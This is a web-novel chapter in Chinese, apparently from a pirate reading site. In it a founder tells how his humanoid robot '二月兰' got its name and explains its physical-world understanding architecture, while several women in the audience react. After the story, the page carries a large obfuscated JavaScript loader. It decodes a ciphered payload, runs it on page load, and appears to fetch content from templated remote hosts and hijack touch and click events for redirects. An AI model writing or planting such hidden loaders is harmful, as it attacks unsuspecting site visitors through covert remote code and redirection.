首页
[切换至繁体版]
返回

第707章 二月兰的由来,理解物理世界

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第707章二月兰的由来,理解物理世界
    「五年前,也就是2019年。」
    台上,江倾语调平缓,像在讲一个很长的故事。
    「那时候万象大模型还只是一堆论文和草稿,我还在科大读博,赵全张彬我们三个在微信群里每天吵到凌晨两三点。」
    台下有人轻轻笑了一声。
    坐在第一排的张彬推了推眼镜,嘴角抽了一下。
    赵全站在舞台侧方的摄像机旁,抱著胳膊,嘿嘿笑了两声。
    这是他们共同的回忆。
    「当时吵什么呢?吵一个很根本的问题。」
    江倾抬起手,用食指点了点自己的太阳穴。
    「人工智慧的终极形态到底是什么。是待在一个黑盒子里,用户问一句它答一句?还是能走出来,能看见这个世界,能摸到这个世界,能跟人产生真正的互动?」
    他放下手,目光扫过全场。
    「我的答案是后者。」
    他转过身,指了指身后的二月兰。
    「所以就有了它。」
    二月兰很配合地挺了挺胸,胸前蓝色的指示灯闪烁了两下。
    「一开始它没有名字。」
    江倾转回来,语气变得轻松了些。
    「我们内部叫它【蓝图】。不是那个做晶片的蓝图,就是字面意思,一张蓝色的图纸。」
    他顿了一下,微微一笑。
    「后来发现这名字太容易撞车了,就改成了【雏形】。又用了一段时间,还是觉得不行。名字不能太硬,也不能太冷。这个东西以后是要走进千家万户的,得取一个温暖一点的,有生命力的名字。」
    台下的嘈杂声慢慢消失了,所有人都在安静地听。
    江倾站在舞台边缘,他低下头,看著手里的话筒,像是在回忆什么。
    「正式命名是在21年。」
    他抬起头,目光扫过台下。
    扫过第三排那两顶棒球帽,扫过周野。
    周野正仰著头看他。
    帽檐下面的眼睛亮亮的,嘴巴微微张著,听得入神。
    她的视线和江倾的目光在空气里碰了一下。
    很短的瞬间,短到摄像头没有捕捉到,大屏幕上看不出任何端倪。
    可周野感觉到了。
    那个瞬间,他的目光落在她脸上的时候,他的眼睛里好像多了点什么。
    是一种很安静的,只有他们两个人才懂的东西。
    她的心脏猛跳了一下。
    然后,嘴角不自觉地上扬起来。
    两排小白牙从嘴唇下面露出来,一双小狗眼几乎要笑得看不见了。
    她低下头,把帽檐往下拉了拉,想遮住自己的笑。
    可遮不住。
    嘴角翘得老高,帽檐都挡不住。
    一旁的孟子艺感觉到了。
    她侧过头,看到周野低著脑袋,帽檐遮著脸,可下巴尖往上,嘴巴那块的线条是弯的o
    弯得很厉害。
    孟子艺先是愣了一下。
    下一秒,她忽然明白了什么。
    二月兰,21年正式命名。
    她转过头,目光投向台上那个穿著白衬衫的男人,又转回来看了看身边的周野。
    周野正用手在帽檐下偷偷压嘴角。
    孟子艺张了张嘴,没出声。
    心里酸溜溜的。
    不是嫉妒,主要是羡慕。
    明明是在这么大的场合,明明台下坐了那么多人,那么多媒体,那么多镜头。
    可他还是用一个只有他们才懂的方式,把她和这个划时代的产品连在了一起。
    二月兰,原来这个名字和小野有关。
    她轻轻叹了口气,伸手在周野腿上拍了一下。
    周野侧头看她,两人对视了一眼,周野立马挪开目光,脸上还有点红。
    孟子艺撇了撇嘴,凑到她耳边。
    「幸福哦~」
    周野耳朵更红了几分,用手肘轻轻撞了她一下。
    不远处,王然也在刚刚那个瞬间察觉到了什么。
    她的位置靠右,角度不同,看不到周野脸上的表情。
    可她看到了江倾的目光,那个极为短暂的停留。
    她的眼睛一刻都没有离开过江倾。
    他在看台上介绍产品的时候,目光是开阔的,扫过全场,像阳光一样均匀地落在每个人身上。
    可刚才那个瞬间,他的目光没有扫过去,是定住的。
    定在第三排的某个位置上。
    王然的手指慢慢收紧,指甲掐进掌心。
    她知道那个位置坐著谁。
    她垂下眼,睫毛在帽檐下面微微颤动。
    心里像有什么东西在翻搅,酸涩、不舒服、难以名状。
    可当她的目光回到台上,看到江倾站在聚光灯里的样子,看到他从容地侃侃而谈,看到他嘴角那抹松弛的笑意,翻搅的情绪又慢慢平息下去。
    算了。
    自己喜欢他,就应该尝试接受他喜欢的一切。
    她松开手指,掌心留下了几道浅浅的指甲印,重新抬起眼,继续看著台上的他。
    后排的张静仪正在掰卢昱筱的手指。
    卢昱筱被掰得有点疼,扭头看她。
    「你怎么了?」
    张静仪吸了一下鼻子,摇了摇脑袋。
    「没事————就是觉得————他怎么这么厉害啊!」
    卢昱筱看著她,又看了看台上的江倾。
    确实很厉害。
    可是这种厉害,有时候会让人觉得他离自己特别远。
    就像现在。
    他站在聚光灯里,台下坐满了许多自己可望不可及的人,所有人都在屏息凝神地听他说每一句话。
    而那些话,大部分人都听不太懂。
    可还是愿意听。
    因为他的声音里有种让人信服的力量。
    因为他说的每一个字,都是从零开始走到今天,一步一步踩出来的。
    卢昱筱低下头,把自己的手指从张静仪手里抽出来,然后反握回去。
    两个人都没再说话,就一起看著台上。
    田熹薇坐在更靠后的位置。
    她在刚才江倾目光扫过第三排的时候,撇了一下嘴。
    「切~」
    又觉得自己这样也挺好笑的。
    她叹了口气,把卫衣领口又往上拉了拉,只露出一双大眼睛继续盯著台上。
    舞台上,江倾已经收回目光,重新面向全场。
    刚刚转瞬即逝地停顿,只有极少数人察觉到了。
    大多数人的注意力还停留在他刚才说的「21年正式命名」上,在猜测当时发生了什么。
    而陈嘟灵站在舞台侧方,陈铎周正楷分列两侧。
    她从他走出去就开始看他的背影。
    然后在他说出「正式命名是在21年」的时候,也察觉到了他的目光扫向了某处,停顿了下。
    她顺著他的目光看过去,看到了那顶黑色棒球帽。
    棒球帽下面,那张脸正笑得牙不见眼。
    陈嘟灵嘴角微微动了一下。
    若有所思地收回了目光,重新落在台上那个白色的背影上。
    二月兰,21年。
    她轻轻呼出一口气,把目光移开,看向幕布旁边的灯光架。
    灯光架上,几排聚光灯正亮著,散发著炙热的温度。
    台上的分享还在继续。
    江倾退后几步,重新走到二月兰身边。
    「名字定了之后,我们的开发就进入了快车道。」
    他伸手在二月兰的头顶拍了一下。
    「不过快车道也有快车道的烦恼。」
    二月兰立马接话:「系啊,咽阵时我好多嘢都唔识嘅。」
    它歪了一下头,举起自己的右手,机械手指张开又合上。
    「第一次用呢只手摞杯,直接将杯捏爆咗啦!」
    台下哄笑一片。
    江倾笑著摇了摇头。
    「对,第一次拿杯子,力度控制参数没调好,直接把玻璃杯捏碎了。碎玻璃炸了一地,赵全在旁边心疼得脸都绿了。」
    台下又笑起来,很多人扭头去找赵全。
    赵全朝台上喊了一声:「那个杯子是老张送的!限量款!」
    张彬在后面接了句:「不是我送的,是他自己买的。」
    笑声更大了。
    江倾摆摆手,等笑声稍歇,继续说道:「这只是硬体层面的。真正难的,是怎么让一个机器人理解它看到的东西。」
    他转身面向大屏幕。
    屏幕上立刻切换出一段演示动画。
    是一个三月兰的线框图,正面对著一张桌子。
    桌子上放著一个苹果、一瓶水、一个遥控器、一本书。
    「传统做法是什么?是给机器人建立模型,训练它识别几千种常见物品。但问题在于,你训练了苹果,它就认识苹果。你训练了水瓶,它就认识水瓶。可真实世界里的物品不是几千种,是几十万种,几百万种。」
    他转过身,面向台下。
    「你总不能让它把所有东西都认一遍吧?」
    他伸手在二月兰的扫描仪上敲了一下。
    「所以换了个思路。不给它建物体模型,而是给它建一个关于物理世界的通用理解能力。」
    屏幕上的动画随之变化。
    线框图的二月兰伸出手,没有先识别桌面上的东西是「苹果」还是「水瓶」,而是先判断它们的物理属性。
    形状、体积、表面材质、预估重量、重心位置。
    「它不需要知道这个东西叫苹果。它只需要知道,这个东西是圆的,大概这么大,表面光滑,捏的时候要用多少力,从哪个角度去抓最稳。」
    江倾的语气变得认真了些,语速不快,每个词都咬得很清楚。
    「这就是万象大模型的具身智能分支的核心思路。不是教它识别物体,而是教它理解物理世界。」
    台下前排的一众大佬们听得格外专注。
    汪涛身体前倾,两只手撑著膝盖,眼睛盯著屏幕上的演示,嘴唇微微翕动,像是在跟著江倾的思路在脑子里推算什么。
    张一铭抱著胳膊,表情严肃,听到「物理世界」这个词的时候,用力点了一下头。
    雷军往后靠了靠,歪著头看著屏幕,眼角的鱼尾纹都挤出来了,脸上是一种很复杂的表情。
    「基于这个思路,我们开发了一套全新的具身智能架构。」
    江倾继续说著,伸手示意了一下,屏幕上换了一张图。
    「分三层。最底层是感知层,负责把视觉、触觉、力觉、听觉的信息整合成一个统一
    的环境模型。中间是决策层,基于万象大模型的多模态能力,理解当前场景,自主生成行动计划。最上层是执行层,把行动计划转化为具体的运动指令。」
    他顿了一下,转头看了看二月兰。
    「打个比方的话————」
    二月兰抢过话头:「好似人嘅大脑、小脑同肌肉啰。」
    江倾笑著点头。
    「差不多了。」
    「咁我系唔系好聪明嘅?」
    「还行吧。」
    「就还行咋?」
    二月兰双手叉腰,仰头瞪他。
    当然,它没有脸,做不出表情。
    可那个动作的姿态,扫描仪蓝光上下闪动,莫名就透出一股不服气的劲儿。
    台下一下子笑翻了。
    江倾笑著拍了拍它的头,把它往旁边拨了一下,重新面向台下。
    「所以它看到一台笔记本电脑,不需要有人告诉它这是笔记本。它会自己判断,这是个长方形的东西,可以掀开,掀开后有屏幕有键盘。然后它会尝试输入密码,会用滑鼠,会打开文件。因为它理解的不是【笔记本】这个概念,而是它看到的物理结构和使用逻辑。」
    台下一片恍然。
    很多人下意识地点著头,原来是这样。
    首尔峰会上的震撼表现,背后是这么一个从头打翻的设计思路。
    不是在前人的路上修修补补,是直接换了一条路。
    一条只有无问科技能走的路。
    雷军轻轻拍了一下大腿,侧头跟马老师说了一句。
    「这个思维,绝了。」
    马老师点了点头,镜片后面的眼睛里闪烁著一丝感慨。
    「不是教它认东西,是教它理解东西。这个高度,不一样。」
    台上,江倾已经切换了下一张演示。
    屏幕上出现了一个时间线图,标注著二月兰从原型机到量产机的关键节点。
    「2021年6月,第一台原型机组装完成。」
    屏幕上弹出一张照片,是一台粗犷的原型机,外壳还是铝合金原色,线缆外露,看起来更像是实验室里的测试设备。
    「当时它长这样。」
    江倾指了指照片。
    「赵全说它像个没穿衣服的骨架。」
    台下一阵爆笑。
 
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();